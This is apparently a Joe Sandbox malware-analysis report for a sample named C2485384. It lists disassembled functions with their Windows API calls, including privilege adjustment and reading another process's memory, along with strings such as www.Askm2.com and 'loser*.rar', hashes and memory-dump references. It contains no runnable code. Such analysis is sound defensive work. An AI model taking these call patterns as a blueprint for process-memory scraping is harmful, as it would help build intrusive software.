Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CloseFileHandle$CreateErrorFreeHeapLastReadSize___sbh_find_block___sbh_free_block__lock_malloc_memset
String ID: PEC2^O$PEC2fO
API String ID: 357344292-458899985
Opcode ID: c79ac8c2b3dc2db5740801135b8247e2d39c8d5515f98b87f1e3747b070c8309
Instruction ID: ad22bcebcc951e56ca6879e420de3ab3f430940b776d1fd670a493377dafb9b6
Opcode Fuzzy Hash: c79ac8c2b3dc2db5740801135b8247e2d39c8d5515f98b87f1e3747b070c8309
Instruction Fuzzy Hash: DB51473164918017F3334B7488B579A7FA7AF03328F695969E8C6BB2C1D723F5428341

Function 62530740 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 121fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,625308AF,?,?,?,?), ref: 62530756
GetFileSize.KERNEL32(00000000,00000000,00000000,?,625308AF,?,?,?,?), ref: 6253076D
CloseHandle.KERNEL32(00000000,?,625308AF,?,?,?,?), ref: 6253077E

Strings

www.Askm2.com, xrefs: 625307E4, 625307FD
Askm2com, xrefs: 62530814, 6253082D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: Askm2com$www.Askm2.com
API String ID: 1378416451-731777296
Opcode ID: 8a01b5294d88636432fb2311835fb628e521703759639169637b21a113e28c88
Instruction ID: 2743e4d85110654f404b08c9c53f67dc910bd7a069841c18a350922316dcb102
Opcode Fuzzy Hash: 8a01b5294d88636432fb2311835fb628e521703759639169637b21a113e28c88
Instruction Fuzzy Hash: 6B314C727552246FD7311938AC99BFB7B9CEB83379F141637F852C7180FB62881542A2

Function 625400AD Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32), ref: 625400D6
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 625400F3
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 62540100
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 6254010D
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 6254011A

Strings

KERNEL32, xrefs: 625400D1
CreateActCtxA, xrefs: 625400ED
ReleaseActCtx, xrefs: 625400F5
DeactivateActCtx, xrefs: 6254010F
ActivateActCtx, xrefs: 62540102

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: 75cf83e1b9436c7488725edeb13e4add5c07c9ba301f1778b6175b18eb74564b
Instruction ID: d7e90b7aa3ebec370151308b65e934eab17939bc493db3ee5d458dfa2387c3d2
Opcode Fuzzy Hash: 75cf83e1b9436c7488725edeb13e4add5c07c9ba301f1778b6175b18eb74564b
Instruction Fuzzy Hash: D8115171984270ABDB34EF79889493ABFB4E657318366887FED08E3212DE305444CB52

Function 62532440 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6252CCF0: RtlAdjustPrivilege.NTDLL ref: 6252CD1C
Part of subcall function 6252CCF0: ZwOpenProcess.NTDLL(?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CD5C
Part of subcall function 6252CCF0: ZwOpenProcess.NTDLL(00010000,001FFFFF,?,?,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CD7F
Part of subcall function 6252CCF0: ZwAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,00000004,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CDA7
Part of subcall function 6252CCF0: ZwQuerySystemInformation.NTDLL(00000010,00000000,00000001,?,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CDC0
Part of subcall function 6252CCF0: ZwFreeVirtualMemory.NTDLL(000000FF,00000014,00000014,00008000,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CDD7
Part of subcall function 6252CCF0: ZwAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,00000004,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CE00
Part of subcall function 6252CCF0: ZwQuerySystemInformation.NTDLL(00000010,00000000,00000001,?,?,?,?,?,00010000,001FFFFF,?,?), ref: 6252CE13

_memset.LIBCMT ref: 6253248B
ReadProcessMemory.KERNEL32 ref: 625324B9
CloseHandle.KERNEL32(00000000), ref: 625324E8

Strings

N, xrefs: 625324AF
w, xrefs: 625324CD
e, xrefs: 625324B4
I, xrefs: 625324DB
U, xrefs: 625324D4
P, xrefs: 625324A5
y, xrefs: 625324AA

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Memory$ProcessVirtual$AllocateInformationOpenQuerySystem$AdjustCloseFreeHandlePrivilegeRead_memset
String ID: I$N$P$U$e$w$y
API String ID: 3693474235-4183856720
Opcode ID: 69de45f0fa615c95a6590c53ab89826f4d97f91d9bf32c7aa1948c4596305b61
Instruction ID: 0a0ce92e294c2dc72a674a6099dfbdcd76d6069955ca5eacc5a291fc2da76df2
Opcode Fuzzy Hash: 69de45f0fa615c95a6590c53ab89826f4d97f91d9bf32c7aa1948c4596305b61
Instruction Fuzzy Hash: A111907160C7909AE331CA64C814F6B7FD46FC5728F04081DF998A6280D3798A48C7E7

Function 625441C4 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,625442DE,?,?), ref: 625441D2
GetProcAddress.KERNEL32(00000000,CreateActCtxW), ref: 625441F3
GetProcAddress.KERNEL32(ReleaseActCtx), ref: 62544205
GetProcAddress.KERNEL32(ActivateActCtx), ref: 62544217
GetProcAddress.KERNEL32(DeactivateActCtx), ref: 62544229

Part of subcall function 6253F4C1: __CxxThrowException@8.LIBCMT ref: 6253F4D7
Part of subcall function 6253F4C1: __EH_prolog3.LIBCMT ref: 6253F4E4

Strings

KERNEL32, xrefs: 625441CD
CreateActCtxW, xrefs: 625441ED
ReleaseActCtx, xrefs: 625441F5
DeactivateActCtx, xrefs: 62544219
ActivateActCtx, xrefs: 62544207

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AddressProc$Exception@8H_prolog3HandleModuleThrow
String ID: ActivateActCtx$CreateActCtxW$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 417325364-2424895508
Opcode ID: 7dc6ba46152622bb86929f3580fc751bd45364bedc4205221ee5bac2b4036ca3
Instruction ID: 3eea8cee013fd57c30f24f4186c7996fbecc276cb03e227f1982d56e0348ebe3
Opcode Fuzzy Hash: 7dc6ba46152622bb86929f3580fc751bd45364bedc4205221ee5bac2b4036ca3
Instruction Fuzzy Hash: 91F098768C8234AADF31EF759918A2ABFA4AB07715712581BEC00E2221DF759408CF51

Function 6252E7B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,6252F4C3), ref: 6252E7C5
GetFileSize.KERNEL32(00000000,00000000,?,6252F4C3), ref: 6252E7D5
CloseHandle.KERNEL32(00000000,?,6252F4C3), ref: 6252E7E3
_malloc.LIBCMT ref: 6252E7F4
CloseHandle.KERNEL32(00000000,6252F4C3), ref: 6252E803
_memset.LIBCMT ref: 6252E817
ReadFile.KERNEL32(00000000,00000000,000003E8,?,00000000,?,?,?,6252F4C3), ref: 6252E82D
CloseHandle.KERNEL32(00000000,?,?,?,6252F4C3), ref: 6252E834

Part of subcall function 62550763: __lock.LIBCMT ref: 62550781
Part of subcall function 62550763: ___sbh_find_block.LIBCMT ref: 6255078C
Part of subcall function 62550763: ___sbh_free_block.LIBCMT ref: 6255079B
Part of subcall function 62550763: RtlFreeHeap.NTDLL(00000000,?,62578B60,0000000C,62557D3E,00000000,62578F08,0000000C,62557D78,?,?,?,62561AC7,00000004,62579288,0000000C), ref: 625507CB
Part of subcall function 62550763: GetLastError.KERNEL32(?,62561AC7,00000004,62579288,0000000C,62558E49,?,?,00000000,00000000,00000000,?,625577E5,00000001,00000214), ref: 625507DC

Strings

PEC2, xrefs: 6252E853, 6252E869

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CloseFileHandle$CreateErrorFreeHeapLastReadSize___sbh_find_block___sbh_free_block__lock_malloc_memset
String ID: PEC2
API String ID: 357344292-2409353939
Opcode ID: a027b3a596cb22384e2d9eb747143fcd8110bfa8ba087bce817b864a5f94b1f6
Instruction ID: 6aaa5373cd25ddfc55abe33af69c1e87f02f1432d0e270fef42b3f1d491059ab
Opcode Fuzzy Hash: a027b3a596cb22384e2d9eb747143fcd8110bfa8ba087bce817b864a5f94b1f6
Instruction Fuzzy Hash: E231497264515027F3314A349CA9BEE7B66EB83335F28486DF9D6E61C0EB61F5428242

Function 62530BD0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 62530BF8

Part of subcall function 6252DA10: GetModuleHandleA.KERNEL32 ref: 6252DACA
Part of subcall function 6252DA10: GetProcAddress.KERNEL32(00000000), ref: 6252DAD1

Part of subcall function 62533FB0: _memset.LIBCMT ref: 62533FD8

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,?,?), ref: 62530C3A
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?), ref: 62530C4E
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?), ref: 62530C5F
_malloc.LIBCMT ref: 62530C6B
_memset.LIBCMT ref: 62530C7D
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 62530C8F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 62530C96

Strings

A3M2, xrefs: 62530CA2, 62530CBD

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: FileHandle_memset$Close$AddressCreateModuleProcReadSize_malloc
String ID: A3M2
API String ID: 2428753672-2848054085
Opcode ID: 7f1147791281b17a7558a0b220a23b4d914e8e750193323d9cafcfd25bf6d78f
Instruction ID: 5f42cd45c6c5262b1d5bb9b3fe70780e8172160b7ea28d118a9d3d59c5797d97
Opcode Fuzzy Hash: 7f1147791281b17a7558a0b220a23b4d914e8e750193323d9cafcfd25bf6d78f
Instruction Fuzzy Hash: A7317C716403246BE2319B34CCA6FEB7798AFC5714F04183AF915961C0FB35990C83A3

Function 6254A728 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6254A72F
GetPropA.USER32(?,AfxOldWndProc423), ref: 6254A73E
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 6254A798

Part of subcall function 625495EB: GetWindowRect.USER32(?,10000000), ref: 62549615

SetWindowLongA.USER32(?,000000FC,?), ref: 6254A7BF
RemovePropA.USER32(?,AfxOldWndProc423), ref: 6254A7C7
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 6254A7CE
GlobalDeleteAtom.KERNEL32(?), ref: 6254A7D8
CallWindowProcA.USER32(?,?,?,?,00000000), ref: 6254A82C

Strings

AfxOldWndProc423, xrefs: 6254A737, 6254A73C, 6254A7C5, 6254A7CD

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Window$AtomCallGlobalProcProp$DeleteFindH_prolog3_catchLongRectRemove
String ID: AfxOldWndProc423
API String ID: 2109165785-1060338832
Opcode ID: 481761463d4c4149bfade2ba05adb7373565cb33e9d97338555221c766de44a8
Instruction ID: 8c4adaf0b2ffd5e791545728e163272d42928945c20e0309785c180890a15cb3
Opcode Fuzzy Hash: 481761463d4c4149bfade2ba05adb7373565cb33e9d97338555221c766de44a8
Instruction Fuzzy Hash: 40317F71800119ABCF219FB8CD69DFFBE78EF46315F004529F901A5161DB359D11DBA2

Function 625183D0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 62534E90: _memset.LIBCMT ref: 62534EB3
Part of subcall function 62534E90: _strncpy.LIBCMT ref: 62534EEF

Part of subcall function 6251B440: InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,62582C98), ref: 6251B4EA

__wfopen_s.LIBCMT ref: 62518424
OutputDebugStringA.KERNEL32(wrong list), ref: 6251843E
OutputDebugStringA.KERNEL32(6256E1DC), ref: 62518445

Strings

loser32.rar, xrefs: 625183DB
loser64_2.rar, xrefs: 625183EF
C:\debug.txt, xrefs: 6251841E
loser.rar, xrefs: 625183D1
loser64.rar, xrefs: 625183E5
wrong list, xrefs: 62518439

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: DebugOutputString$CriticalInitializeSection__wfopen_s_memset_strncpy
String ID: C:\debug.txt$loser.rar$loser32.rar$loser64.rar$loser64_2.rar$wrong list
API String ID: 1574680699-3570089105
Opcode ID: 827045288f400b2b55a5b80a9f4b0bed59151da8d0935327efa452f2c3a774a7
Instruction ID: df6c949914cf0f13f6975b89c5cfd1354e2002e86538312a17a97c814249117a
Opcode Fuzzy Hash: 827045288f400b2b55a5b80a9f4b0bed59151da8d0935327efa452f2c3a774a7
Instruction Fuzzy Hash: D9F0A471C0421066FA30EBB4EC35B6F37D06F8474DF446825EC0996162FF759804D653

Function 0BB73238 Relevance: 15.1, APIs: 10, Instructions: 129fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0BB732C0
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0BB732E4
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0BB73300
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000001,00000000), ref: 0BB73321
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 0BB7334A
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 0BB73358
GetStdHandle.KERNEL32(000000F5), ref: 0BB73393
GetFileType.KERNEL32(?,000000F5), ref: 0BB733A9
CloseHandle.KERNEL32(?,?,000000F5), ref: 0BB733C4
GetLastError.KERNEL32(000000F5), ref: 0BB733DC

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 9bf002bb6c9711285e1372773dc16e11a08500103827f3286faedd99a9e57e43
